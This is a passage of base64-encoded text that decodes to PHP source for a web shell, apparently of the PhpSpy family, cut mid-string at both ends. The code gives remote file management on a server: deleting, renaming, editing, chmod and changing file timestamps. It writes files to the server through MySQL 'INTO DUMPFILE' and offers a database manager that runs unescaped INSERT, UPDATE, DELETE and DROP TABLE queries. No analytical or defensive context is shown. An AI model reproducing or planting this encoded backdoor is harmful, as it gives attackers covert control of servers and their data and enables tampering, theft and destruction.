lJ10uJzwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+LS08L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydkaXJjaG1vZCddLic8L2E+IC8gJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2RpcnBlcm0nXS4nPC9hPicuJGRpcmRiWydmaWxlb3duZXInXS4nPC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGRpclwnLFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnQXJlIHlvdSBzdXJlIHdpbGwgZGVsZXRlICcuJGRpcmRiWydmaWxlbmFtZSddLic/IFxcblxcbklmIG5vbi1lbXB0eSBkaXJlY3RvcnksIHdpbGwgYmUgZGVsZXRlIGFsbCB0aGUgZmlsZXMuXCcpIj5EZWw8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPjwvdGQ+Jyk7CgkJCXAoJzwvdHI+Jyk7CgkJCSRkaXJfaSsrOwoJCX0gZWxzZSB7CgkJCWlmKCRkaXJkYlsnZmlsZW5hbWUnXT09Jy4uJykgewoJCQkJcCgnPHRyIGNsYXNzPWZvdXQ+Jyk7CgkJCQlwKCc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iV2luZ2RpbmdzIDMiIHNpemU9ND49PC9mb250PjwvdGQ+PHRkIG5vd3JhcCBjb2xzcGFuPSI1Ij48YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy5nZXRVcFBhdGgoJG5vd3BhdGgpLidcJyk7Ij5QYXJlbnQgRGlyZWN0b3J5PC9hPjwvdGQ+Jyk7CgkJCQlwKCc8L3RyPicpOwoJCQl9CgkJfQoJfQoKCXAoJzx0ciBiZ2NvbG9yPSJncmVlbiIgc3RseWU9ImJvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTsiPjx0ZCBjb2xzcGFuPSI2IiBoZWlnaHQ9IjUiPjwvdGQ+PC90cj4nKTsKCXAoJzxmb3JtIGlkPSJmaWxlbGlzdCIgbmFtZT0iZmlsZWxpc3QiIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9InBvc3QiPicpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsKCW1ha2VoaWRlKCd0aGVmaWxlJyk7CgltYWtlaGlkZSgnZG9pbmcnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCSRmaWxlX2kgPSAnMCc7Cglmb3JlYWNoKCRmaWxlZGF0YSBhcyAka2V5ID0+ICRmaWxlZGIpewoJCWlmKCRmaWxlZGJbJ2ZpbGVuYW1lJ10hPScuLicgJiYgJGZpbGVkYlsnZmlsZW5hbWUnXSE9Jy4nKSB7CgkJCSRmaWxldXJsID0gc3RyX3JlcGxhY2UoU0FfUk9PVCwnJywkZmlsZWRiWydzZXJ2ZXJfbGluayddKTsKCQkJJHRoaXNiZyA9IGJnKCk7CgkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7CgkJCXAoJzx0ZCB3aWR0aD0iMiUiIG5vd3JhcD48aW5wdXQgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIxIiBuYW1lPSJkbFsnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ10iPjwvdGQ+Jyk7CgkJCXAoJzx0ZD48YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRmaWxlZGJbJ2ZpbGVuYW1lJ10uJzwvYT48L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicuJGZpbGVkYlsnbXRpbWUnXS4nPC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ3NpemUnXS4nPC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4nKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZmlsZWRiWydmaWxlY2htb2QnXS4nPC9hPiAvICcpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVwZXJtJ10uJzwvYT4nLiRmaWxlZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2Rvd25maWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkRvd248L2E+IHwgJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Y29weWZpbGUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkNvcHk8L2E+IHwgJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6b3BmaWxlKFwnZWRpdGZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+RWRpdDwvYT4gfCAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPlJlbmFtZTwvYT4gfCAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpvcGZpbGUoXCduZXd0aW1lXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPlRpbWU8L2E+Jyk7CgkJCXAoJzwvdGQ+PC90cj4nKTsKCQkJJGZpbGVfaSsrOwoJCX0KCX0KCXAoJzx0ciBjbGFzcz0iZm91dDEiPjx0ZCBhbGlnbj0iY2VudGVyIj48aW5wdXQgbmFtZT0iY2hrYWxsIiB2YWx1ZT0ib24iIHR5cGU9ImNoZWNrYm94IiBvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pIiAvPjwvdGQ+PHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bnJhclwnKTsiPlBhY2tpbmcgZG93bmxvYWQgc2VsZWN0ZWQ8L2E+IC0gPGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkZWxmaWxlc1wnKTsiPkRlbGV0ZSBzZWxlY3RlZDwvYT48L3RkPjx0ZCBjb2xzcGFuPSI0IiBhbGlnbj0icmlnaHQiPicuJGRpcl9pLicgZGlyZWN0b3JpZXMgLyAnLiRmaWxlX2kuJyBmaWxlczwvdGQ+PC90cj4nKTsKCXAoJzwvZm9ybT48L3RhYmxlPicpOwp9Ly8gZW5kIGRpcgoKZWxzZWlmICgkYWN0aW9uID09ICdzcWxmaWxlJykgewoJaWYoJGRvaW5nPT0ibXlzcWx1cGxvYWQiKXsKCQkkZmlsZSA9ICRfRklMRVNbJ3VwbG9hZGZpbGUnXTsKCQkkZmlsZW5hbWUgPSAkZmlsZVsndG1wX25hbWUnXTsKCQlpZiAoZmlsZV9leGlzdHMoJHNhdmVwYXRoKSkgewoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQnKTsKCQl9IGVsc2UgewoJCQlpZighJGZpbGVuYW1lKSB7CgkJCQltKCdQbGVhc2UgY2hvb3NlIGEgZmlsZScpOwoJCQl9IGVsc2UgewoJCQkJJGZwPUBmb3BlbigkZmlsZW5hbWUsJ3InKTsKCQkJCSRjb250ZW50cz1AZnJlYWQoJGZwLCBmaWxlc2l6ZSgkZmlsZW5hbWUpKTsKCQkJCUBmY2xvc2UoJGZwKTsKCQkJCSRjb250ZW50cyA9IGJpbjJoZXgoJGNvbnRlbnRzKTsKCQkJCWlmKCEkdXBuYW1lKSAkdXBuYW1lID0gJGZpbGVbJ25hbWUnXTsKCQkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOwoJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAweHskY29udGVudHN9IEZST00gbXlzcWwudXNlciBJTlRPIERVTVBGSUxFICckc2F2ZXBhdGgnOyIpOwoJCQkJbSgkcmVzdWx0ID8gJ1VwbG9hZCBzdWNjZXNzJyA6ICdVcGxvYWQgaGFzIGZhaWxlZDogJy5teXNxbF9lcnJvcigpKTsKCQkJfQoJCX0KCX0KPz4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBteXNxbGZpbGUoZG9pbmcpewoJaWYoIWRvaW5nKSByZXR1cm47CgkkKCdkb2luZycpLnZhbHVlPWRvaW5nOwoJJCgnbXlzcWxmaWxlJykuZGJob3N0LnZhbHVlPSQoJ2RiaW5mbycpLmRiaG9zdC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmRicG9ydC52YWx1ZT0kKCdkYmluZm8nKS5kYnBvcnQudmFsdWU7CgkkKCdteXNxbGZpbGUnKS5kYnVzZXIudmFsdWU9JCgnZGJpbmZvJykuZGJ1c2VyLnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJwYXNzLnZhbHVlPSQoJ2RiaW5mbycpLmRicGFzcy52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmRibmFtZS52YWx1ZT0kKCdkYmluZm8nKS5kYm5hbWUudmFsdWU7CgkkKCdteXNxbGZpbGUnKS5jaGFyc2V0LnZhbHVlPSQoJ2RiaW5mbycpLmNoYXJzZXQudmFsdWU7CgkkKCdteXNxbGZpbGUnKS5zdWJtaXQoKTsKfQo8L3NjcmlwdD4KPD9waHAKCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsKCSEkZGJ1c2VyICYmICRkYnVzZXIgPSAncm9vdCc7CgkhJGRicG9ydCAmJiAkZGJwb3J0ID0gJzMzMDYnOwoJJGNoYXJzZXRzID0gYXJyYXkoJyc9PidEZWZhdWx0JywnZ2JrJz0+J0dCSycsICdiaWc1Jz0+J0JpZzUnLCAndXRmOCc9PidVVEYtOCcsICdsYXRpbjEnPT4nTGF0aW4xJyk7Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgSW5mb3JtYXRpb24nLCduYW1lJz0+J2RiaW5mbycpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxmaWxlJyk7CglwKCc8cD4nKTsKCXAoJ0RCSG9zdDonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOwoJcCgnOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicG9ydCcsJ3NpemUnPT40LCd2YWx1ZSc9PiRkYnBvcnQpKTsKCXAoJ0RCVXNlcjonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRidXNlcikpOwoJcCgnREJQYXNzOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7CglwKCdEQk5hbWU6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJuYW1lJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYm5hbWUpKTsKCXAoJ0RCQ2hhcnNldDonKTsKCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3QoKTsKCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9Im15c3FsZmlsZSIgaWQ9Im15c3FsZmlsZSI+Jyk7CglwKCc8aDI+VXBsb2FkIGZpbGU8L2gyPicpOwoJcCgnPHA+PGI+VGhpcyBvcGVyYXRpb24gdGhlIERCIHVzZXIgbXVzdCBoYXMgRklMRSBwcml2aWxlZ2U8L2I+PC9wPicpOwoJcCgnPHA+U2F2ZSBwYXRoKGZ1bGxwYXRoKTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ic2F2ZXBhdGgiIHNpemU9IjQ1IiB0eXBlPSJ0ZXh0IiAvPiBDaG9vc2UgYSBmaWxlOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJ1cGxvYWRmaWxlIiB0eXBlPSJmaWxlIiAvPiA8YSBocmVmPSJqYXZhc2NyaXB0Om15c3FsZmlsZShcJ215c3FsdXBsb2FkXCcpOyI+VXBsb2FkPC9hPjwvcD4nKTsKCXAoJzxoMj5Eb3dubG9hZCBmaWxlPC9oMj4nKTsKCXAoJzxwPkZpbGU6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9Im15c3FsZGxmaWxlIiBzaXplPSIxMTUiIHR5cGU9InRleHQiIC8+IDxhIGhyZWY9ImphdmFzY3JpcHQ6bXlzcWxmaWxlKFwnbXlzcWxkb3duXCcpOyI+RG93bmxvYWQ8L2E+PC9wPicpOwoJbWFrZWhpZGUoJ2RiaG9zdCcpOwoJbWFrZWhpZGUoJ2RicG9ydCcpOwoJbWFrZWhpZGUoJ2RidXNlcicpOwoJbWFrZWhpZGUoJ2RicGFzcycpOwoJbWFrZWhpZGUoJ2RibmFtZScpOwoJbWFrZWhpZGUoJ2NoYXJzZXQnKTsKCW1ha2VoaWRlKCdkb2luZycpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsKCXAoJzwvZm9ybT4nKTsKfQoKZWxzZWlmICgkYWN0aW9uID09ICdzcWxhZG1pbicpIHsKCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsKCSEkZGJ1c2VyICYmICRkYnVzZXIgPSAncm9vdCc7CgkhJGRicG9ydCAmJiAkZGJwb3J0ID0gJzMzMDYnOwoJJGRiZm9ybSA9ICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iY29ubmVjdCIgbmFtZT0iY29ubmVjdCIgdmFsdWU9IjEiIC8+JzsKCWlmKGlzc2V0KCRkYmhvc3QpKXsKCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJob3N0XCIgbmFtZT1cImRiaG9zdFwiIHZhbHVlPVwiJGRiaG9zdFwiIC8+XG4iOwoJfQoJaWYoaXNzZXQoJGRidXNlcikpIHsKCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJ1c2VyXCIgbmFtZT1cImRidXNlclwiIHZhbHVlPVwiJGRidXNlclwiIC8+XG4iOwoJfQoJaWYoaXNzZXQoJGRicGFzcykpIHsKCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJwYXNzXCIgbmFtZT1cImRicGFzc1wiIHZhbHVlPVwiJGRicGFzc1wiIC8+XG4iOwoJfQoJaWYoaXNzZXQoJGRicG9ydCkpIHsKCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJwb3J0XCIgbmFtZT1cImRicG9ydFwiIHZhbHVlPVwiJGRicG9ydFwiIC8+XG4iOwoJfQoJaWYoaXNzZXQoJGRibmFtZSkpIHsKCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJuYW1lXCIgbmFtZT1cImRibmFtZVwiIHZhbHVlPVwiJGRibmFtZVwiIC8+XG4iOwoJfQoJaWYoaXNzZXQoJGNoYXJzZXQpKSB7CgkJJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImNoYXJzZXRcIiBuYW1lPVwiY2hhcnNldFwiIHZhbHVlPVwiJGNoYXJzZXRcIiAvPlxuIjsKCX0KCglpZiAoJGRvaW5nID09ICdiYWNrdXBteXNxbCcgJiYgJHNhdmVhc2ZpbGUpIHsKCQlpZiAoISR0YWJsZSkgewoJCQltKCdQbGVhc2UgY2hvb3NlIHRoZSB0YWJsZScpOwoJCX0gZWxzZSB7CgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOwoJCQkkdGFibGUgPSBhcnJheV9mbGlwKCR0YWJsZSk7CgkJCSRmcCA9IEBmb3BlbigkcGF0aCwndycpOwoJCQlpZiAoJGZwKSB7CgkJCQkkcmVzdWx0ID0gcSgnU0hPVyB0YWJsZXMnKTsKCQkJCWlmICghJHJlc3VsdCkgcCgnPGgyPicubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsKCQkJCSRteXNxbGRhdGEgPSAnJzsKCQkJCXdoaWxlICgkY3Vycm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKCQkJCQlpZiAoaXNzZXQoJHRhYmxlWyRjdXJyb3dbMF1dKSkgewoJCQkJCQlzcWxkdW1wdGFibGUoJGN1cnJvd1swXSwgJGZwKTsKCQkJCQl9CgkJCQl9CgkJCQlmY2xvc2UoJGZwKTsKCQkJCSRmaWxldXJsID0gc3RyX3JlcGxhY2UoU0FfUk9PVCwnJywkcGF0aCk7CgkJCQltKCdEYXRhYmFzZSBoYXMgc3VjY2VzcyBiYWNrdXAgdG8gPGEgaHJlZj0iJy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kcGF0aC4nPC9hPicpOwoJCQkJbXlzcWxfY2xvc2UoKTsKCQkJfSBlbHNlIHsKCQkJCW0oJ0JhY2t1cCBmYWlsZWQnKTsKCQkJfQoJCX0KCX0KCWlmICgkaW5zZXJ0ICYmICRpbnNlcnRzcWwpIHsKCQkka2V5c3RyID0gJHZhbHN0ciA9ICR0bXAgPSAnJzsKCQlmb3JlYWNoKCRpbnNlcnRzcWwgYXMgJGtleSA9PiAkdmFsKSB7CgkJCWlmICgkdmFsKSB7CgkJCQkka2V5c3RyIC49ICR0bXAuJGtleTsKCQkJCSR2YWxzdHIgLj0gJHRtcC4iJyIuYWRkc2xhc2hlcygkdmFsKS4iJyI7CgkJCQkkdG1wID0gJywnOwoJCQl9CgkJfQoJCWlmICgka2V5c3RyICYmICR2YWxzdHIpIHsKCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCW0ocSgiSU5TRVJUIElOVE8gJHRhYmxlbmFtZSAoJGtleXN0cikgVkFMVUVTICgkdmFsc3RyKSIpID8gJ0luc2VydCBuZXcgcmVjb3JkIG9mIHN1Y2Nlc3MnIDogbXlzcWxfZXJyb3IoKSk7CgkJfQoJfQoJaWYgKCR1cGRhdGUgJiYgJGluc2VydHNxbCAmJiAkYmFzZTY0KSB7CgkJJHZhbHN0ciA9ICR0bXAgPSAnJzsKCQlmb3JlYWNoKCRpbnNlcnRzcWwgYXMgJGtleSA9PiAkdmFsKSB7CgkJCSR2YWxzdHIgLj0gJHRtcC4ka2V5LiI9JyIuYWRkc2xhc2hlcygkdmFsKS4iJyI7CgkJCSR0bXAgPSAnLCc7CgkJfQoJCWlmICgkdmFsc3RyKSB7CgkJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7CgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOwoJCQltKHEoIlVQREFURSAkdGFibGVuYW1lIFNFVCAkdmFsc3RyIFdIRVJFICR3aGVyZSBMSU1JVCAxIikgPyAnUmVjb3JkIHVwZGF0aW5nJyA6IG15c3FsX2Vycm9yKCkpOwoJCX0KCX0KCWlmICgkZG9pbmcgPT0gJ2RlbCcgJiYgJGJhc2U2NCkgewoJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7CgkJJGRlbGV0ZV9zcWwgPSAiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiOwoJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOwoJCW0ocSgiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiKSA/ICdEZWxldGlvbiByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsKCX0KCglpZiAoJHRhYmxlbmFtZSAmJiAkZG9pbmcgPT0gJ2Ryb3AnKSB7CgkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJaWYgKHEoIkRST1AgVEFCTEUgJHRhYmxlbmFtZSIpKSB7CgkJCW0oJ0Ryb3AgdGFibGUgb2Ygc3VjY2VzcycpOwoJCQkkdGFibGVuYW1lID0gJyc7CgkJfSBlbHNlIHsKCQkJbShteXNxbF9lcnJvcigpKTsKCQl9Cgl9CgoJJGNoYXJzZXRzID0gYXJyYXkoJyc9PidEZWZhdWx0JywnZ2JrJz0+J0dCSycsICdiaWc1Jz0+J0JpZzUnLCAndXRmOCc9PidVVEYtOCcsICdsYXRpbjEnPT4nTGF0aW4xJyk7CgoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J01ZU1FMIE1hbmFnZXInKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsKCXAoJzxwPicpOwoJcCgnREJIb3N0OicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7CglwKCc6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9ydCkpOwoJcCgnREJVc2VyOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RidXNlcicsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJ1c2VyKSk7CglwKCdEQlBhc3M6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsKCXAoJ0RCQ2hhcnNldDonKTsKCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2Nvbm5lY3QnLCd2YWx1ZSc9PidDb25uZWN0JywndHlwZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcpKTsKCXAoJzwvcD4nKTsKCWZvcm1mb290KCk7Cj8+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gZWRpdHJlY29yZChhY3Rpb24sIGJhc2U2NCwgdGFibGVuYW1lKXsKCWlmIChhY3Rpb24gPT0gJ2RlbCcpIHsKCQlpZiAoIWNvbmZpcm0oJ0lzIG9yIGlzblwndCBkZWxldGlvbiByZWNvcmQ/JykpIHJldHVybjsKCX0KCSQoJ3JlY29yZGxpc3QnKS5kb2luZy52YWx1ZT1hY3Rpb247CgkkKCdyZWNvcmRsaXN0JykuYmFzZTY0LnZhbHVlPWJhc2U2NDsKCSQoJ3JlY29yZGxpc3QnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOwoJJCgncmVjb3JkbGlzdCcpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIG1vZGRibmFtZShkYm5hbWUpIHsKCWlmKCFkYm5hbWUpIHJldHVybjsKCSQoJ3NldGRibmFtZScpLmRibmFtZS52YWx1ZT1kYm5hbWU7CgkkKCdzZXRkYm5hbWUnKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBzZXR0YWJsZSh0YWJsZW5hbWUsZG9pbmcscGFnZSkgewoJaWYoIXRhYmxlbmFtZSkgcmV0dXJuOwoJaWYgKGRvaW5nKSB7CgkJJCgnc2V0dGFibGUnKS5kb2luZy52YWx1ZT1kb2luZzsKCX0KCWlmIChwYWdlKSB7CgkJJCgnc2V0dGFibGUnKS5wYWdlLnZhbHVlPXBhZ2U7Cgl9CgkkKCdzZXR0YWJsZScpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7CgkkKCdzZXR0YWJsZScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8P3BocAoJLy8gU1FMCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidyZWNvcmRsaXN0JykpOwoJbWFrZWhpZGUoJ2RvaW5nJyk7CgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsKCW1ha2VoaWRlKCdiYXNlNjQnKTsKCW1ha2VoaWRlKCd0YWJsZW5hbWUnKTsKCXAoJGRiZm9ybSk7Cglmb3JtZm9vdCgpOwoKCS8vIERhdGEKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3NldGRibmFtZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOwoJcCgkZGJmb3JtKTsKCWlmICghJGRibmFtZSkgewoJCW1ha2VoaWRlKCdkYm5hbWUnKTsKCX0KCWZvcm1mb290KCk7CgoKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3NldHRhYmxlJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7CglwKCRkYmZvcm0pOwoJbWFrZWhpZGUoJ3RhYmxlbmFtZScpOwoJbWFrZWhpZGUoJ3BhZ2UnLCRwYWdlKTsKCW1ha2VoaWRlKCdkb2luZycpOwoJZm9ybWZvb3QoKTsKCgkkY2FjaGV0YWJsZXMgPSBhcnJheSgpOwoJJHBhZ2VudW0gPSAzMDsKCSRwYWdlID0gaW50dmFsKCRwYWdlKTsKCWlmKCRwYWdlKSB7CgkJJHN0YXJ0X2xpbWl0ID0gKCRwYWdlIC0gMSkgKiAkcGFnZW51bTsKCX0gZWxzZSB7CgkJJHN0YXJ0X2xpbWl0ID0gMDsKCQkkcGFnZSA9IDE7Cgl9CglpZiAoaXNzZXQoJGRiaG9zdCkgJiYgaXNzZXQoJGRidXNlcikgJiYgaXNzZXQoJGRicGFzcykgJiYgaXNzZXQoJGNvbm5lY3QpKSB7CgkJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsKCQkvLyBnZXQgbXlzcWwgc2VydmVyCgkJJG15c3FsdmVyID0gbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCk7CgkJcCgnPHA+TXlTUUwgJy4kbXlzcWx2ZXIuJyBydW5uaW5nIGluICcuJGRiaG9zdC4nIGFzICcuJGRidXNlci4nQCcuJGRiaG9zdC4nPC9wPicpOwoJCSRoaWdodmVyID0gJG15c3FsdmVyID4gJzQuMScgPyAxIDogMDsKCgkJLy8gU2hvdyBkYXRhYmFzZQoJCSRxdWVyeSA9IHEoIlNIT1cgREFUQUJBU0VTIik7CgkJJGRicyA9IGFycmF5KCk7CgkJJGRic1tdID0gJy0tIFNlbGVjdCBhIGRhdGFiYXNlIC0tJzsKCQl3aGlsZSgkZGIgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7CgkJCSRkYnNbJGRiWydEYXRhYmFzZSddXSA9ICRkYlsnRGF0YWJhc2UnXTsKCQl9CgkJbWFrZXNlbGVjdChhcnJheSgndGl0bGUnPT4nUGxlYXNlIHNlbGVjdCBhIGRhdGFiYXNlOicsJ25hbWUnPT4nZGJbXScsJ29wdGlvbic9PiRkYnMsJ3NlbGVjdGVkJz0+JGRibmFtZSwnb25jaGFuZ2UnPT4nbW9kZGJuYW1lKHRoaXMub3B0aW9uc1t0aGlzLnNlbGVjdGVkSW5kZXhdLnZhbHVlKScsJ25ld2xpbmUnPT4xKSk7CgkJJHRhYmxlZGIgPSBhcnJheSgpOwoJCWlmICgkZGJuYW1lKSB7CgkJCXAoJzxwPicpOwoJCQlwKCdDdXJyZW50IGRhYmFiYXNlOiA8YSBocmVmPSJqYXZhc2NyaXB0Om1vZGRibmFtZShcJycuJGRi